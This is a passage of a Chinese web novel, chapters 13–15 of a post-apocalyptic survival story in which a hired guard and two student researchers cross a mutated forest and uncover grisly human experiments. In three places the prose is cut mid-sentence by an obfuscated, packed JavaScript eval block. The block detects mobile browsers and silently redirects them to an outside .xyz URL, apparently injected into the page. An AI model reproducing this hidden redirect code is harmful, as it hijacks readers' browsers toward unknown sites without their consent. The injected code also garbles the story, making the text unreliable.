“噗呲”一声,伴随熟悉的惊呼,路名回头,只看到散落一地的工具和伸手在包中摸索的宋何正。她心里一惊,瞥一眼皮开肉绽的蛇,凑到宋何正身边。 宋何正的脖子、胳膊、大腿,所有裸露在外面的肌肤都在这片刻之间生出黑色瘢痕,黑点越来越大,皮肤如同被腐蚀一般慢慢瘪进去。好不容易摸到一管合适的药剂,他随手扎在手臂上,快速将药剂推入体内。扔掉空瓶,他躺在石壁上,缓缓喘气。 “你会死吗?”路名看着他问。 刚刚那一刹那,情况很危险。路名能感觉到宋何正的紧张,这家伙哪怕知道红颜猴已经异变成红兽,也会躺在地上休息够了再起来注射药物,而刚才,他找药的时候手都在抖。是那条蛇的问题。 宋何正心里一梗。怎么听着他就要死了? 好在药物见效很快,皮肤上的灼热感迅速消退,身体里奔腾流窜的毁灭感逐渐销声匿迹,似乎暗中蛰伏起来,他仍有一种不祥的预感。他摸了摸不烫的额头,脑子没那么晕,应该是退烧了。 绕开路名,宋何正不打算和她计较,慢慢回到操作台,“我收拾一下,我们马上去找小白。”现在找过去,速度快的话还赶得上。 路名:? “你能走?那条蛇,要我帮你扔了吗?” 宋何正用一种难以置信的眼神看着她,眉头紧皱。这条蛇也能扔,这……算了。他转过脸,闷声说道:“你别管,等我收拾好就带路。” 宋何正真想白她一个大白眼。 转念一想,这人没读过什么书,不怪她没见识又没眼力见。 路名远远地蹲在洞口等着。不知怎么的,她总有种被嫌弃的感觉。仔细回顾一遍刚刚发生的事,除了拿药她帮不上忙,其他时候她就是个隐形人。嫌弃?要么是错觉,要么是宋何正脑子有问题,她更倾向前者。宋何正是个高材生,随身携带药,脑子坏了的概率不大。 收拾完,路名主动背包,顺便从草丛里找来一根木棍给宋何正拄着,她在前面慢慢走,宋何正一拐一拐跟在后面往前赶,看着很急的样子。 路名悄悄放慢脚步。 余震一行人浩浩荡荡,走得匆忙,不仅留下的足迹杂乱无章,旁边的灌木也被踩倒几株。深绿色的灌木层层堆叠,撑起倒伏的同伴,树叶上挂着几近干涸的粘液,有嫩绿色,有淡黄色,还有深红色,大多在近地面的高度,像血。 路名跑几步,蹲下来,捻起一根血红色粘液,慢慢将它从叶片上撕下来,一边卷一边向后走,直到和脸色苍白的宋何正面对面。 宋何正皱眉:? “我想让你看看这是不是红兽血。”路名侧过身,指着前面的路,说:“那边,这东西更多。” 宋何正叹口气,“血已经干了,八成是你捡的那些尸体的。血迹、尸体,这些东西在泰林很常见。大进化后,地势变化,生物进化,有不少队伍尝试探索这里,不过大多数都杳无音讯。”所以,在这片林子里,真正的红兽尸体才是稀罕物。 他把剩下一句藏在心里,抬手一弹,将血线掐断,示意路名继续向前。 路名手腕一转,换个方向继续卷血线。和前面那些杂乱的血线不同,这一带灌木丛里只有这一根显眼的血线。她很好奇这条血线的去向或来处。 宋何正本就急着赶路,前面那个带路的临时工却毫无自觉,竟然边走边把血线缠在手里玩。 不愧是靠肌肉和胆子吃饭的人,对这里没有半点儿敬畏心。 宋何正一拐一拐加速向前,每次想赶上去训斥这家伙一顿,好让撒开血线,她对脚下的路上上心,偏偏这家伙跟后脑勺长眼睛似的,每次两人距离拉近到半米之内,这家伙就猛地窜出去,似乎找到新的乐趣,脚步轻快地跑了。宋何正跟在后面,充满怨念地敲木棍,“咚”“咚”“咚”…… 好不容易赶上来,他累得要死,喘口气,有点高兴,酝酿已久的稿子脱口而出:“你怎么。” “你看。” 路名不仅打断他的话,还一把揪住他打上来的棍子,方向一转,拨开及膝的灌木丛,指向睡在里面的人,“这些血线是他的。” 这一路,血线断断续续,路名每收集一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638601|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 截就卷一个小包,如今手里已有四个血包,有点粘手。 血线轻轻贴在叶茎上,细弱的线绷紧,连接地上断绝生机的人的肚子。这个人的肚子被生生剖开,边缘还有碎肉和不成形的肉层。他很瘦,没什么脂肪,皮肉也薄薄的一层挂在身上。肚子里干干净净,内脏一个不剩。 “不是红颜猴干的。”宋何正脸色隐隐发青,语气很坚定,“我解剖过你带回来的那几只病变动物的腹部,收集胃部的酶,剖开肠道,并没有发现消化碎肉的痕迹。” 这不是他第一次出来找材料,也不是他第一次直面人类的死亡,和老师出来过许多次,他们一行人都没有找到意料之外的、比计划的更好的材料,偏偏这一次,他找到了。他不再需要按照原定计划做那些折磨人的实验。 他突然发现,自己有点不敢直视这具尸体。 “你做什么?” 路名一脚跨进灌木丛,拨开碍事的灌木,一脚一个,将它们统统踩倒。她踩在植物的茎干上,免得一脚陷进落叶堆里。 “收尸。” 灌木丛中有一股腐烂的味道,路名闻着并不舒服,隐隐有点头晕,但这并不妨碍她的手速。她快速在死者身边刨开一个洞,将人推进去,然后从附近薅来最上层的落叶,盖住死者的身体。做完这些,她跨出去,拍拍身上的土屑和残叶。 “泰林里有有食腐动物,这种伪装骗不了它们。”宋何正目视前方,好心提醒。 “不用躲,生于天地,死后回归自然,也是一种体面的死法。我只是不想看他曝尸荒野。你刚才也说了,这里死过不少人,不见光,说不定能和地下的人重聚。”路名两手空空,有点不习惯,她揪下路边的叶子卷在手里,卷吧卷吧,再展开,再卷吧卷吧,继续展开…… 宋何正跟在后面,余光瞄到那片叶子,搞不懂这又是什么新的爱好。这个临时工,奇奇怪怪的。 “没想到,你还有信仰。”他有些诧异。 神啊,鬼啊,来世,转生之类的,大多源自口口相传的神话。大进化后,人类文明几度断层,这些东西渐渐失去说服力,少数顽固分子会继续宣扬,以此为精神支柱,挣扎着活下去。 临时工算是见习猎人的弱化版,这些都是头别在裤腰带上、刀口舔血的人,谁都不信,只信自己,有的甚至会信自己到封神的地步。 算一算,见习猎人普遍不到二十岁,哪怕少数人有异能加持,大多数人在这个年纪能训练有素,组队和红兽一较高下,甚至占上风,足以见得这十多年付出多少努力。但凡他们多一点外来的信仰或犹豫,和机遇失之交臂,都会被猎人学校的考核刷下去。 宋何正心里涌起一股热流,排除出任务,平时他们这些预备研究员还是很敬重见习猎人的,各有各的苦法。 “没有啊。”路名随口回他。 她读书、工作的时候,师兄们经常打趣她,说她心中没有敬畏,没有秩序,赤条条一片,不知道怎么就混进道观,稀里糊涂成了他们的师弟。 宋何正一颗感动的心如鲠在喉,不知道说什么好。 “我感觉,我们可能遇到麻烦了。”路名抽出长匕首,一只手拦住后面拄拐走路的大金主。 宋何正脚步一拐,换个方向往前凑。 13. 泰林(6) “学长!”白旗亭高兴地喊了声,朝这边走过来。 看见熟悉的人,宋何正苍白的面容浮现一抹笑意,他抿紧嘴唇,站在原地。 路名拉着女生的手,往旁边躲了躲。和白旗亭目光交错的瞬间,路名感受到一股强烈的敌意,不只对她,还有身后的女生。 “我……”女生忐忑不安。 “你站在我后面,跟着我。”路名冷静地观望那对学长学弟的重逢。 一刻钟前。 路名听脚步声察觉有人靠近。这鬼地方除了他们两个倒霉蛋,还能有谁?余震一行人?如果真是余震,说明这条路比之前更加凶险,去滩涂和白旗亭他们汇合难上加难;如果不是,来者是敌是友? 路名握紧长匕首,严阵以待。 一个衣衫褴褛、骨瘦嶙峋的男人摇摇晃晃出现在路口。他头发蓬乱,右眼凹陷,细看能发现其中有东西在蠕动;这人似乎很久没喝水,嘴唇干裂,一身脏污,有粘液粘在衣服上,也有草屑贴在皮肤上。 迷路的难民? 路名皱了皱眉,轻轻放松握住刀柄有些酸麻的手。这男人看起来体力不行,应该很好制服。 狭路相逢。 眉眼一抬,见到活人,瘦弱的男人突然神情大变,张大嘴“咯咯咯”地笑起来,像卡了的磁带,随即跟疯了似的向前冲,张开一口烂牙的嘴,作势要咬上来。 路名吓了一跳,什么玩意儿,疯了? 她侧身绕到对方身后,准备反绞双臂,将人摁在地上,手法和之前抓宋何正一模一样。 “直接杀,快!”宋何正忽然想起什么,叫得又急又响。 来不及了,路名脸色骤变。 她的手指刚触碰到男人的后颈,后颈的皮肤突然鼓胀、变形,形成一块黑斑,快速凹陷,如同腐烂了的苹果,戳破就能淌出又臭又酸的溶液。那层皮肤像毒蛇一样露出獠牙咬住路名的手,剧痛瞬间麻痹她的神经,五感近乎丧失,眼前一片漆黑;路名想都没想,挥刀凭记忆割断对方的脖子。男人立即身首异处。 痛感消失,她恍然听见宋何正一声“快”的尾音。 “……我刚刚……”劫后余生的喜悦被后知后觉的惊悚盖过,路名不敢细想刚刚的事,背后直冒冷汗。 宋何正一脸后怕,直盯着路名。 突然,路名“噗通”一下跪下来,面容痛苦,她一手捂住肚子,一手掐住自己的脖子,不断干呕。她吐得想死,眼前直冒金星,终于呕出一点东西——一团带血的黑线团。 一只戴白色手套的手拿走那团呕吐物。 是宋何正。 不知什么时候,他已经卸下路名身上的包,从包里拿出一个瓶子放在身边。用光脑拍照后,他把黑线团放进去,开始记录。 他工作,路名休息,没人想说话。 路名躺在地上,活下来的惊喜和差点死掉的愤怒不断对撞,诱使她回忆刚刚的每一个细节。零零碎碎的画面想多了,一切都在脑海中清晰展开,瘦削的男人,佝偻的身体,病变的黑斑,带血的黑线……有点熟悉。 她刚想问宋何正,余光一瞥,扫到灌木丛中一只鞋尖。 又有人? 路名站起来,长匕首别在身侧,佯装身体恢复后起来到处走动。第三次走到那只鞋尖附近,敏锐的视觉让她察觉到那个鞋尖往后缩了缩。 又是活人! 宋何正心情沉重地记录完数据,抬头瞥见一只“飞鸟”——路名“噌”一下跳到旁边的灌木丛,身体灵活轻巧,和之前吐得昏天黑地的样子比简直判若两人。不愧是红月工会看中的人,身体就是好啊,他在心里感叹。 灌木丛传来一道陌生的惊叫声,很轻。 宋何正猛然站起来,他完全没有察觉有人在附近,是谁,什么时候来的? 几株灌木被砍到,视线穿过叶片,他一眼瞄准另一位不速之客——一个面容陌生的女孩。女孩头发很长,瘦削的瓜子脸上有一双大眼睛,此刻微微睁大,像个骷髅头,有点瘆人,此刻正满脸畏惧地看着他和路名。 路名保持戒备,刀尖微微下垂。她感觉情况有些棘手。 之前她捡到一缕黑线,怀疑是对方留下的,而现在,她无法确认那团黑线的来处。那是头发,还是呕吐物? “她是和我们一起过来的。”三秒后,路名果断将之前的发现和盘托出,把问题甩给高材生。 熟悉的沉默。 宋何正一时间拿不出主意。 那缕黑线被路名弄丢了,没有对比,他得不到半点结论性的东西。关于这一点,那个没素质、没头脑的家伙理所当然地把一切推给那条蛇。虽然那的确是一条很有价值的蛇,但未知的黑线也很诱人。 宋何正第一次后悔让路名独自出去探路。早知道外面的世界这么精彩,他就该跟着去! “……那个应该是我的头发。”女孩小声说,她不敢看杀气腾腾的路名,对长相清秀、气质温和的宋何正印象不错,“走到那儿的时候,队伍里有几个叔叔突然变得很生气,猴子打跑了就拿枪柄打其他人,我头发长,被揪过好几次。” “他们为什么打你?”路名不理解。 女孩儿摇头,她也不知道,“不只是我,还有其他几个人,有个阿姨甚至和他们打起来了。” 可以想象,当时的情况一定非常混乱。路名心有戚戚。亏她当时还有点羡慕余震行动迅速,现在看来,大家都不好过。 “红颜猴群居,攻击性强,会将带有剧毒的果子投掷给敌人,以人类的身体为养料,为植物传播种子。按照人类的性格判断,它们瑕疵必报,非常记仇。被一大群红颜猴围攻,那些人心跳加速,血液循环跟不上,大脑的确会出现问题。”宋何正冷声解释道。他低头有一下没一下地拨弄手腕的光脑,没有点开。 这是……热血上头了?路名用仅剩的一点知识理解这段话。距离她此生知识巅峰——某大型考试,已经过去近十年,她只记得零星一点生物知识。 “他们生病了?”此话一出,两人刷刷看向女生。 路名心里哎呦一声,有点高兴。这姑娘读过书,意味着无证民居的确有上学渠道,她就有机会在办理居住证后想办法重新上学,学习是苦差事,但毕业后她可以再次实现躺平人生。 “你不觉得他们是出现幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643780|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉才表现异常的?”宋何正边问边打开光脑。 女生说话的声音大了点,“他们只打我们几个。” 那挺惨的,路名对这个姑娘的遭遇深表同情,因为读书的事,虽然姑娘不看她,她一直盯着人家的侧脸瞅,这么看,这姑娘长得真不错。 “你叫什么?” “钱云。” “一起走吧。”宋何正关闭光脑,转身收拾包。 路名一手捞起背包斜挎在肩上,一手拉住钱云,一用力,将人拉出灌木丛。 “等一下。”路名一顿,三人同时往向路口。 一道熟悉的身影出现在庞大的桉树树冠下。白旗亭走不动了,气喘吁吁蹲在地上休息,整个人恨不得埋在地里,过了会儿,他起身往前走,一抬头,看见三个定住的人定格在原地,神色警戒,有一瞬间懵逼。 “学长!” 亲亲热热的学长学弟重逢戏码开始了。 “哎。”路名轻轻戳了戳钱云的肩膀,对方靠过来,低头看地,小心翼翼的样子,“你知道余震去哪儿了吗?就那个射击很准的男的,个头很高,差不多二十来岁吧,脸看着很凶的。” 钱云摇头,声音跟蚊子似的,“余大哥把枪给别人,自己去劝架,没走多久就和我们走散了。” “你也是走散的?” “我不是,我是跑出来的。” 宋何正瞥一眼站在旁边低头玩手、悄悄摸摸说话的两个人,默默在心里把两个人痛骂一顿。没看见他一句都说不上,好歹进来插一句,给他个开口的机会啊!自我介绍不会吗?打招呼不会吗? 他一睁眼全是小白巴拉巴拉说个不停的样子,比这一路走来还累。 “喂!”忍无可忍,无需再忍,宋何正抬手大喝一声,把三人吓一跳,“你们两个怎么回事,身为护卫队的人,就站在这里浑水摸鱼吗?你知道你们在这一天,我们要损失多少钱吗!为什么还不去探路,要我教你们吗?” 路名用奇怪的眼神看一眼宋何正,这人有病吧?脑子坏了吗?白旗亭跟他们的方向完全相反,还探什么路? “我们现在就去。”一天三万的牛马路名火速低头,拉着钱云就走。 宋何正松了口气,转过笑脸来,“小白,这座泰林比我们之前和老师来的更加危险了,而且物种出现了新的变化,我找到了新的……” “我们接下来往哪边走?”刚走几步,路名又折回来,看了看两个人,直接硬插话。 宋何正心头一窒,有种搬起石头砸自己的脚的感觉。 “不用探路,我来带路。学长,我们边走边说,张俞镇他们就在前面休息。”白旗亭侧身迈出一步,和宋何正并肩向前。 路名和钱云跟在后面。 她发现钱云很怕白旗亭,只敢走在宋何正后面,头也不抬,全程盯着宋何正的脚后跟走路。 宋何正往后瞥一眼,看见路名对身后的钱云嬉皮笑脸的样子,顿时觉得一股郁气堵在胸口。这家伙怎么这么开心,有什么事值得她这么开心? 收回视线,宋何正决定忽视路名。他斟酌着开口问:“小白,你的数据采集顺利吗?” 14. 泰林(7) “进展不错,有一两个临床症状和老师记录的不一样,我把他们控制住,等过了药效,再进一步实验。”说起实验,白旗亭眼中都多了几分光。 他忽然想起面前的学长掉队很久,实验更是一无所获,立马收起笑意,面带关切地说:“学长,我留了一部分人给你,等回去,我让张俞镇把人交给你。我们带来了不少营养液,肯定能撑到你完成实验,一收集完数据,我们就返回基地。” 宋何正心里松了口气,将之前在山洞的遭遇简单说了一遍。 “花容蛇出现了新的毒素?这,老师六个月前刚派人来过泰林,我参与过当时的助理工作,从花白蛇身上提取的毒素并没有任何异常。”白旗亭一脸见了鬼的表情,说话声音也大了些。 路名听一耳朵,凑到钱云身边问:“花容蛇是什么蛇?” “一种毒蛇。据说这种蛇类的前身是菜花蛇,大进化后,它们长出金色和深绿色交叠的波形花纹,喜欢盘踞在一种特殊晶矿洞里,身体偏深棕色,隐秘在角落里不容易被人发现,因为酷似雍容华贵花朵,又叫花容蛇。”钱云细细解释一通,余光时不时瞥向白旗亭。 “真厉害,你肯定读过很多书。”读过很多书的路名发出没见识的真诚赞美。 钱云脸色一白,不再说话。 路名挠了挠头:……好像说错话了。不该啊,她又不是大老粗的性格,爱笑加嘴甜,以前很招人喜欢的。难道这个世界的人不吃这一套? 四个人说说停停,很快就走到白旗亭的驻地。 这可真是尸横遍地,哀鸿遍野。路名瞪大眼睛,对白旗亭的防范拔高一个台阶。 入目所见,所有灌木丛都被有秩序地修剪过,每隔两人的间距,有一株枝干粗壮的灌木被拔去枝叶,只剩光秃秃的一根直冲天际,每个枝干上都绑着一个人,大树底下的腐叶堆里也倒下不少人,开膛破肚,内脏乱跑,有的把手伸进肚子,肠子从肚子跑出来,另一截含在嘴里。 鲜血浸透腐叶堆,一直延伸过灌木丛,在地上留下一个个鞋印。看花样,是同一双鞋子。 “看样子,你的实验数据收集得差不多了。”宋何正面无表情地说了句,径直往前走,“你留给我的人在哪儿?” “跟我来。”白旗亭跑上前,突然听到身后传来干呕的声音。 钱云扒着路名的裤腿跪在地上,又哭又吐,眼泪鼻涕口水混在一起,流在地上。路名本来看这一地惨状还挺震惊挺难过的,眼下自己为数不多的财产——裤子,在饱经摧残后还受到不能拒绝的拉扯,她突然又有点心疼赤贫的自己。她那点积分真的不够花啊。 “你们走不走,不走就留在这。”白旗亭一脸不耐烦,冷冷地瞥一眼一蹶不振的钱云。 路名想了想,蹲下身一根接一根扒开钱云的手指头。她不想留在这和一群尸体为伍,而且,她身上还有一份一天三万积分的差事,耽误不得。 她扛起钱云,大步追上去。 脏点没关系,她可以洗衣服,但人的精神不能垮,把钱云留在这,她一个人一定会崩溃的。 “走吧,要我们在前面带路吗?你可以指路。” 白旗亭嫌弃极了,皱着眉头,冷冷地说:“到后面去。把她收拾干净。” 宋何正注意到自己的包沾上透明的不明物质的粘液,心里郁闷的次数多了,反而没什么感觉,就当自己没看见,“包里有纸,只能用三张。” 小气。 路名在心里“切”一声,嘴上忙不迭道谢,一口应下,“一定,只用三张。” 三张怎么够? 路名先用一张囫囵裹住所有的粘液,光速扔掉,再抽出一张,把背包、下巴、脸颊这些地方擦干净,顺便擦一擦自己的手,接着抽出最后一张,团一团,捏成两半,一半塞进钱云嘴里,另一半露在外面,吸水。 “实在忍不住,再哭一会儿,这张纸应该还能撑住。” 说实话,她觉得撑不住。 收拾包的时候,路名顺便从自己包里拿出剩下半瓶营养液,一口闷。喝完把瓶子扔回包里,她扛起钱云,就当自己眼瞎了,什么都看不见,火速追上前面亲亲热热的学长学弟二人组。 三名见习猎人带着十来个护卫队的人在一处背阴的山洞休息。 三个人的脚步声很乱,在其他人意识到有陌生的脚步声靠近之前,张俞镇先一步睁开眼睛,拔出短刀,走到洞口的隐蔽处。徐铭和徐记兄弟俩跟着醒过来,一翻身,躲在大青石背后掩护,拔枪,子弹上膛。 “是我。”靠近山洞时,白旗亭大喊一声。 很快,三位见习猎人从里面走出来,张俞镇站在前面,目光上下打量四肢齐全、平安无事的宋何正,心里有点高兴。人没死,他的学分不会打折扣,真不错。 “这是谁?”他盯着跟在后面的两人,只觉得眼生。 搜罗一圈记忆,他找出一张熟悉的脸,恍然大悟,“你是红月工会的……那个谁?” “路名。”实际上,路名和红月工会只有杂志的一面之缘,勉强再加一个支飞羽,实在算不上附属关系,不过没关系,出门在外,光脑用不了,身份她自己给。 “嗯,对,路名,你后面的是谁,怎么还拿张纸塞着嘴?谁干的,这人多坏啊。”他笑着伸手去抓钱云垂下的手臂。 坏人路名:“……” “张俞镇。”宋何正侧过身,语气中有几分警告的意味。 “大壮哥”,也就是张俞镇,闻言果然退后小半步,目光直指白旗亭,“白旗亭,我看这人是你那边跑掉的,你看,她手上还有针孔呢。” “学长,这的确是我的人。”白旗亭笑着,语气发冷。 看他们三个隐隐有针锋相对的意思,路名后知后觉,想起钱云说过她是跑出来的,从哪儿跑出来的,从白旗亭身边,从那堆尸体里跑出来的。钱云身上还有针孔,她可能不是身体弱,心理承受能力差,而是药物在破坏她的身体。 “宋何正……” “闭嘴。”宋何正脸色绷得很紧,额头冒青筋。或许,就算老师在世也不理解他的做法,但他还是想试一试。 “小白,我们谈一谈。” 他转身拍了拍路名肩膀上的背带,“找个阴凉的地方等我,前包里的营养液和样品被我弄混了,帮我整理一下,把乱进去的药剂拿出来。” 路名愣了一下。即使相处没多久,她也发现这家伙是个整理狂魔,什么东西到他手上都得按照形状大小编号等一系列标准分类,怎么可能会乱? 乱? 若有所悟的路名点点头,在三名见习猎人虎视眈眈下,昂首挺胸走进去。 宋何正一手揽住学弟的肩膀,心情有些沉重地往另一个方向走。他知道这很难,或许是研究院明面上从来没有过的先例,但他还是想试一试。如果大自然迎来新一轮大进化,而人类依旧被抛弃的话……这真的可能吗? …… 路名走进山洞,发现这里还真不小。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650296|172661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一排十几个人蹲在墙角,静静地看她走进来,这些人眼神呆滞,双手被绑在身后,没有任何人发出疑问,也没有交流。 路名把钱云放在地上,背靠角落。 可能真是药效发作,钱云的体温很低,脸色铁青,头发似乎也短了不少,有一部分只过肩膀向下到胳肢窝。 错觉吗? 路名打开背包,把样品和营养液统统拿出来,在身后十几双眼睛前,从自己的包里拿出一瓶高级营养液。 瓶盖一开,香味溢满山洞。 山洞口,三人守门,骤然闻到这股味道,都忍不住朝里面看。那个叫路名的女的,背对他们,头一仰一俯,明眼人一看就知道在偷喝营养液。 作案手段太笨拙了。 “无证民居禁止买卖高级营养液,这家伙竟然钻空子,在外面偷喝。”徐记嫉妒得牙痒痒。 高级营养液,价钱高,营养价值更高,可不是普通营养液拼数量拼得过的,这东西他们都稀罕,也只有宋何正这种家底儿丰厚、自身优秀的人才不当回事,喝高级营养液跟喝水似的。 徐记打开光脑的录像功能,对准路名,“过会儿就把她告发。” 突然,一个石子儿飞过来,一击即中他的右手。徐记光看方向就知道是谁,默默把光脑关了。 张俞镇丢掉手里剩余的石子儿,重新躺下,慢悠悠地说:“告发什么,那个路名以后十有八九也是猎人,大家都是一家人。你要告状的那个宋何正,和白旗亭,他们俩才是亲的,同一个老师带出来的学生。我们只负责保护他们的安全,其他事别瞎掺和。” “镇哥,那个路名能算猎人吗?她那个身材,一看就没怎么锻炼过,说不定红月工会看走了眼呢?”徐铭瞄一眼洞里的情况,对那个鬼鬼祟祟的人没有半点好感。 “说不定她不用锻炼呢?”张俞镇翻了个身,面对洞口,“红颜猴的攻击力有多强你们不是不知道,白旗亭那个疯子还非要洒药刺激它们群·聚过来交·配·求·偶。红颜猴进入繁殖期,整片泰林默认封闭,连正规猎人都不敢进去。那个路名硬是带人走回来,有能力,也有运气。说不定,是和支飞羽一样的异能猎人。” 异能! 徐铭和徐记暗暗心惊,说不羡慕那就是放屁。 异能是猎人学校乃至猎人届一个公开的秘密。大进化让自然变成人类完全不认识的样子,血肉滋养的赤晶破坏人类的电波通讯,人类的文明出现断层,几度濒临灭绝,人类也在这灭族的绝境中发现部分人拥有异能,成为科学无法解释的存在。异能者是大进化时代为数不多的幸运儿。 “磨叽、磨叽”,路名只舍得喝半瓶高级营养液,她喝的很慢,一小口一小口嘬,目光时不时瞟向对面那一排人。 面对诱人的高级营养液,这帮人依旧无动于衷。 路名察觉到不对劲,在等待宋何正归来的这段时间里,白旗亭肯定对他们做了什么。丧失五感?屏蔽视觉?想起那个和钱云一样逃出来的怪物,路名不禁背后一寒。 她火速找到混在营养液里的唯一一剂药剂,药剂瓶很小,足以藏进手掌。 路名帮钱云整理衣服。这一路颠簸,刚刚放她下来时,除了头没磕着碰着,其他地方一点疼都没少,衣服也皱巴巴的。 “钱云,钱云,醒醒,醒醒,别睡了。”路名左手轻拍钱云的脸,目光瞥向洞口三人。 确认安全隐秘后,她伸手握住钱云的手腕,将药剂推入体内。 15. 泰林(8) 树林里到处都是植物,有植物的地方就有危险,白旗亭不敢走太远,躲到见习猎人看不见的地方,就在离洞口三米左右的两块巨石附近。 巨石上爬满苔藓,白旗亭侧身站在石头旁,双手背在身后。 他大概能猜到宋何正想说什么,轻声道:“学长,老师走之前手头上还有一个项目没做完,我们得帮他完成。” 宋何正微微一愣,随即点头:“当然。老师的遗愿自然由我们来完成。”他们师出同门,又都是老师的得意弟子,老师确认遇难后,他们冒险跑出来,一是为毕业做准备,二是为完成老师的实验。 只不过,他不明白小白为什么现在突然说这些。 “学长想做什么,我知道。我和学长不一样,我是从中城区爬进来的,无所谓那些实验体怎么样,但有一点,对学长和老师这样的上城区的人,我一直都很尊重。”白旗亭从袖口拔出一根细铁丝,轻轻在巨石上划拉。这是学院内专门设计的外出服装,每一个材料、每一个缝口都是精心设计的,材料非同寻常。 石屑纷纷扬扬飘落,刺耳的声音一点点掠过耳鼓膜。 宋何正皱紧眉头,反思自己是不是一开始表现太强势了。上城区和中城区关系紧密,更准确地说,是阶级分明。但他只想争取,没想用身份命令小白。 目光一瞥,他注意巨石下方颜色愈加艳丽的苔藓,心头一跳,“小白,你过来……” “学长,你还记得我们入老师门下第一课,老师说过什么吗?这种事,我们可以做,有第一次,就难免会有第二次,等我们进入实验室,要怎么……”话没说完,白旗亭看到宋何正骤变的脸色,心中警铃大作,想都没想向前扑。 野外生存技能训练,他们上过一学期,多少知道点自救技能。 轰然一声炸响,一块巨石从内而外碎开,伸出数十根细细的触须,上面有细小的叶片,五颜六色的,在空中悠悠转圈,像爬藤植物寻找落脚点,这些触须猛然嗅到人类的气息,齐齐瞄准同一方向。 宋何正拽着白旗亭坐起来,后者回头看一眼,瑟瑟发抖,汗如雨下,说不出一句话。 怕死,是人的本能。 三个在洞口摸鱼的见习猎人注意到这边的异常,没有冲过来,而是举枪瞄准。 “那是什么玩意儿?”张俞镇骂一句脏话跟喝口水一样简单,喝了无数口水也办法缓解自己的心情,紧张的情绪一点点勒住他。那些触须来自一株植物还是一簇植物,他不知道;行动速度如何,他不清楚;能不能平安救下两个预备研究员,他没把握。 “做好准备。”低声叮嘱一句,他高声喝道:“不要轻举妄动,我们一定能救你们。”随即打个手势,准备救人。 靠在石壁上休息的路名被声音惊醒,看了一眼旁边依旧昏迷不醒的钱云,摸了摸手腕,体温正常,看起来那只药剂见效很快。宋何正那只药剂见效就没这么快,当时脸色差极了,到现在八成还没完全恢复。 现在?是什么时候了? 她慢吞吞站起来,正好看到三个人高马大的见习猎人举枪向外走,非常谨慎。 没有三人堵在洞口,外面的光线照进来,视野也好多了。路名先看到十几根触须飘在半空中,走近些,她才发现这东西竟然连在地上,硬生生挺直一米多高,在空中打圈。不足一米外,宋何正和白旗亭面对面坐在地上。 看起来,他们遇到麻烦了。那些触须一看就不是什么正常的东西,说不定连植物都不是,就是个套着植物皮的动物,和异变了的猴子一样。 只犹豫了一秒,路名就决定回去继续守着钱云,做好当前的工作。 好巧不巧,宋何正看向这边。 路·一天三万·牛马·名有点崩溃,她不怀疑见习猎人的水平,但如果真被宋何正看见了,她视而不见的举动会不会被奸商宋何正借题发挥,克扣工资?天地可鉴,她在此刻之前都兢兢业业干着一天三万该干的活儿! 怎么背对那些变异植物的是白旗亭而不是宋何正?路名有些怨念的碎碎念。 她折回去,从包里拿出仅剩的一把匕首,又喝了一整支营养液,把空瓶放进包里,斜挎着包往外走。 那些触须向地面白旗亭的方向探了探,没被身后拿到声音影响。五个人心里顿时落下一块大石头。基地刚建不稳、还正处在风雨飘摇的时候,曾经有支猎人小队遇到异变植物,一出声就被围剿,速度之快,连救援信号都来不及发,随身携带的记录仪将真相传回去,给一号基地的人们敲响第无数次警钟。 “小白,冷静一点。”宋何正上下轻抚白旗亭的背部,抬头努力辨认植物的类别。 不是声音,是什么促使这株植物快速生长、变异,力量足够撕裂一块巨石,或者,是异变植物蛰伏在这里,被某种因素唤醒了? 不知道是不是错觉,宋何正感觉那十三根触须中的一根突然朝他这边凑了凑,似乎对他的手感兴趣。 宋何正:“……” 他停止手上的动作,继续盯着“群魔乱舞”。 细碎的脚步声靠近,有两根触须朝张俞镇的方向去,尖端依旧在打圈,找不到方向。 宋何正头顶冒汗,没有抬手擦。时间在燃烧他的生命。他不能停止观察,不能松懈,不能分心,他必须自救。那些触须“眼睛”还没找到,张俞镇三人在慢慢靠近他们。如果被触须锁定,他们必定有伤亡。最糟糕的情况,他和小白被见习猎人放弃,作为缓冲时间的饵料。 路名远远跟在后面,察觉到前面剑拔弩张的气氛,越发不想靠近。 要是她手里多几把小刀,她直接“嗖嗖”几下扔飞刀,平时闲的无聊,扔飞镖这些小游戏她练得堪比大师,要能有两把刀在手,她绝对能把那些触须齐根斩断。当然,这只是想想而已。见习猎人比她更有经验,肯定知道怎么处理更保险,她就是个摸鱼混好感的,自己几斤几两可太清楚了。 路名脚后跟对脚尖,缩短 